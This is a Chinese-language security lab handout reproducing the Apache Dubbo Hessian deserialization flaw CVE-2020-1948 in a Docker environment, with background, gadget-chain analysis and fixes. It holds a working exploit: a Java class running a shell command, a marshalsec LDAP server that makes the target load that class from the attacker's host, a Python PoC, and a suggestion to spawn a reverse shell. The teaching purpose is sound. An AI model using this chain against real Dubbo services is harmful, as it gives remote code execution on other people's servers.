一、實驗簡介
- 實驗所屬系列: 系統安全
- 實驗對象:本科/專科信息安全專業
- 相關課程及專業: 計算機網絡
- 實驗時數(學分):2 學時
- 實驗類別: 實踐實驗類
二、實驗目的
Apache Dubbo是一款高性能、輕量級的開源Java RPC框架,它提供了三大核心能力:面向接口的遠程方法調用,智能容錯和負載均衡,以及服務自動注冊和發現。本實驗詳細介紹了有關的系統知識和分析該漏洞原因並復現該漏洞。通過該實驗了解該漏洞,並利用該實驗了解、基本掌握漏洞環境搭建技巧,通過復現該漏洞,了解工具的一些知識。
三、預備知識
3.1 RPC
RPC(Remote Procedure Call)遠程過程調用協議,一種通過網絡從遠程計算機上請求服務,而不需要了解底層網絡技術的協議。RPC它假定某些協議的存在,例如TPC/UDP等,為通信程序之間攜帶信息數據。在OSI網絡七層模型中,RPC跨越了傳輸層和應用層,RPC使得開發,包括網絡分布式多程序在內的應用程序更加容易。
3.2 dubbo
dubbo 支持多種序列化方式並且序列化是和協議相對應的。比如:Dubbo支持dubbo、rmi、hessian、http、webservice、thrift、redis等多種協議。
這里介紹的dubbo漏洞里的dubbo指的是RPC框架。dubbo同時是阿里尚未開發成熟的高效 java 序列化實現,阿里不建議在生產環境使用它。
3.3 Hessian
hessian 是一種跨語言的高效二進制序列化方式。但這里實際不是原生的 hessian2 序列化,而是阿里修改過的 hessian lite,Hessian是二進制的web service協議,官方對Java、Flash/Flex、Python、C++、.NET C#等多種語言都進行了實現。Hessian和Axis、XFire都能實現web service方式的遠程方法調用,區別是Hessian是二進制協議,Axis、XFire則是SOAP協議,所以從性能上說Hessian遠優於后兩者,並且Hessian的JAVA使用方法非常簡單。它使用Java語言接口定義了遠程對象,集合了序列化/反序列化和RMI功能。
Hessian 協議用於集成 Hessian 的服務,Hessian 底層采用 Http 通訊,采用 Servlet 暴露服務,Dubbo 缺省內嵌 Jetty 作為服務器實現。
Dubbo 的 Hessian 協議可以和原生 Hessian 服務互操作,即:
- 提供者用 Dubbo 的 Hessian 協議暴露服務,消費者直接用標准 Hessian 接口調用
- 或者提供方用標准 Hessian 暴露服務,消費方用 Dubbo 的 Hessian 協議調用
一個簡單的Hessian序列化使用方法
import com.caucho.hessian.io.Hessian2Output;
import java.io.ByteArrayOutputStream;
import java.io.Serializable;
class User implements Serializable {
public static void main(String[]args){
// System.out.println("hehe");
}
}
public class HessianTest {
public static void main(String[] args) throws Exception {
Object o=new User();
ByteArrayOutputStream os = new ByteArrayOutputStream();
Hessian2Output output = new Hessian2Output(os);
output.writeObject(o);
output.close();
System.out.println(os.toString());
}
}
3.4 協議關系
Dubbo和序列化到底是怎么個關系,可以從以下幾點考慮:
- Dubbo 從大的層面上將是RPC框架,負責封裝RPC調用,支持很多RPC協議
- RPC協議包括了dubbo、rmi、hession、webservice、http、redis、rest、thrift、memcached、jsonrpc等
- Java中的序列化有Java原生序列化、Hessian 序列化、Json序列化、dubbo 序列化
3.5 漏洞原理
主要利用Dubbo協議調用其他RPC協議時會涉及到數據的序列化和反序列化操作。如果沒有做檢查校驗很有可能成功反序列化攻擊者精心構造的惡意類,利用java調用鏈使服務端去加載遠程的Class文件,通過在Class文件的構造函數或者靜態代碼塊中插入惡意語句從而達到遠程代碼執行的攻擊效果。
四、實驗環境
- docker
- python
- java
- marshalsec-jar
五、實驗步驟
【CVE-2020-1948】為反序列化漏洞,這個漏洞導致遠程攻擊者可以通過構造惡意反序列化數據執行任意命令,進而獲取服務器權限。我們的任務分為三部分:
- 實驗環境啟動
- 漏洞利用
- 拓展任務
5.1 實驗環境啟動
任務描述:本次實驗通過使用docker搭建 dubbo漏洞環境,為后續復現漏洞做准備。
- 通過命令
docker pull dsolab/dubbo:cve-2020-1948
拉取docker環境。 - 通過命令
docker run -p 12345:12345 dsolab/dubbo:cve-2020-1948 -d
啟動鏡像,如圖說明啟動成功。
5.2 漏洞利用
任務描述:本次實驗通過各種工具配合來對實驗環境進行攻擊,達到執行命令的效果。
- 准備exp文件,編寫exp.java如下
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class exp {
public exp(){
try {
java.lang.Runtime.getRuntime().exec("touch /tmp/success");
} catch (java.io.IOException e) {
e.printStackTrace();
}
}
}
-
編譯java文件
javac exp.java
-
使用python在該目錄啟動HttpServer
-
下載marshalsec-jar
git clone https://github.com/RandomRobbieBF/marshalsec-jar.git
- 使用marshalsec-jar啟動LDAP代理服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.31.153/#exp 777
192.168.31.153為我本機IP
- 使用poc編寫python腳本
# -*- coding: utf-8 -*-
import sys
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
if len(sys.argv) < 4:
print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
sys.exit()
client = DubboClient(sys.argv[1], int(sys.argv[2]))
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource=sys.argv[3],
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
# 此處可以是 $invoke、$invokeSync、$echo 等,通殺 2.7.7 及 CVE 公布的所有版本。
method_name='$invoke',
args=[toStringBean])
output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
print('[+] Succeed.')
else:
print('[!] Output:')
print(output)
print('[!] Target maybe not use dubbo-remoting library.')
保存為exp.py
- 執行exp.py
python3 exp.py 192.168.31.153 12345 ldap://192.168.31.153:777/exp
可以看到通過LDAP代理重定向去訪問了之前編譯的exp.class文件。
- 使用
docker exec -it 264f1bb1fede "/bin/bash"
進入容器,可以看到我們在/tmp目錄下成功創建了success文件,說明漏洞利用成功。
拓展任務
上個任務執行的命令是在exp.py中定義的
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;
public class exp {
public exp(){
try {
java.lang.Runtime.getRuntime().exec("touch /tmp/success");\\命令定義
} catch (java.io.IOException e) {
e.printStackTrace();
}
}
}
可以嘗試修改命令執行,比如反彈shell或者用dnslog探查漏洞。
六、漏洞分析
利用鏈分析
在marshalsec工具中,提供了對於Hessian反序列化可利用的幾條鏈:
https://github.com/mbechler/marshalsec
https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
對於dubbo反序列化可利用的條件:
- 默認dubbo協議+hessian2序列化方式
- 序列化tcp包可隨意修改方法參數反序列化的class
- 反序列化時先通過構造方法實例化,然后在反射設置字段值
- 構造方法的選擇,只選擇花銷最小並且只有基本類型傳入的構造方法
如果要實現遠程命令執行,需要找到符合以下條件的gadget chain:
- 有參構造方法
- 參數不包含非基本類型
- cost最小的構造方法並且全部都是基本類型或String
這樣的利用條件太苛刻了,不過萬事沒絕對,參考marshalsec,可以利用rome依賴使用HashMap觸發key的hashCode方法的gadget chain來打,以下是對hessian2反序列化map的源碼跟蹤:
Override
@SuppressWarnings("unchecked")
public <T> T readObject(Class<T> cls) throws IOException,
ClassNotFoundException {
return (T) mH2i.readObject(cls);
}
@Override
public Object readObject(Class cl)
throws IOException {
return readObject(cl, null, null);
}
@Override
public Object readObject(Class expectedClass, Class<?>... expectedTypes) throws IOException {
//...
switch (tag) {
//...
case 'H': {
Deserializer reader = findSerializerFactory().getDeserializer(expectedClass);
boolean keyValuePair = expectedTypes != null && expectedTypes.length == 2;
// fix deserialize of short type
return reader.readMap(this
, keyValuePair ? expectedTypes[0] : null
, keyValuePair ? expectedTypes[1] : null);
}
//...
}
}
@Override
public Object readMap(AbstractHessianInput in, Class<?> expectKeyType, Class<?> expectValueType) throws IOException {
Map map;
if (_type == null)
map = new HashMap();
else if (_type.equals(Map.class))
map = new HashMap();
else if (_type.equals(SortedMap.class))
map = new TreeMap();
else {
try {
map = (Map) _ctor.newInstance();
} catch (Exception e) {
throw new IOExceptionWrapper(e);
}
}
in.addRef(map);
doReadMap(in, map, expectKeyType, expectValueType);
in.readEnd();
return map;
}
protected void doReadMap(AbstractHessianInput in, Map map, Class<?> keyType, Class<?> valueType) throws IOException {
Deserializer keyDeserializer = null, valueDeserializer = null;
SerializerFactory factory = findSerializerFactory(in);
if(keyType != null){
keyDeserializer = factory.getDeserializer(keyType.getName());
}
if(valueType != null){
valueDeserializer = factory.getDeserializer(valueType.getName());
}
while (!in.isEnd()) {
map.put(keyDeserializer != null ? keyDeserializer.readObject(in) : in.readObject(),
valueDeserializer != null? valueDeserializer.readObject(in) : in.readObject());
}
}
從上面貼出來的部分執行棧信息,可以清晰的看到,最終在反序列化中實例化了新的HashMap,然后把反序列化出來的實例put進去,因此,會觸發key的hashCode方法。
七、總結與修復
總結
如果系統開啟了dubbo端口(如1.2.3.4:12345),攻擊者使用python模擬dubbo通信協議發送rpc請求,數據包含帶有無法識別的服務名稱service_nam或方法名稱method_name,及惡意參數(JdbcRowSetImpl等),在反序列化這些惡意參數時便會觸發JNDI注入,導致執行任意惡意代碼。
因此攻擊難度較低,但攻擊危害很大。
防御手段
-
更新至2.7.7版本:
https://github.com/apache/dubbo/releases/tag/dubbo-2.7.7 -
通用防御措施,增加反序列化前的service name的判斷,但如果控制到中間注冊中心還是會存在攻擊風險;
-
hessian自身沒有其他序列化包做gadgets層的防護,建議使用時進行拓展,可以參考SOFA的處理(https://github.com/sofastack/sofa-hessian ) 來增加對應的黑名單過濾器。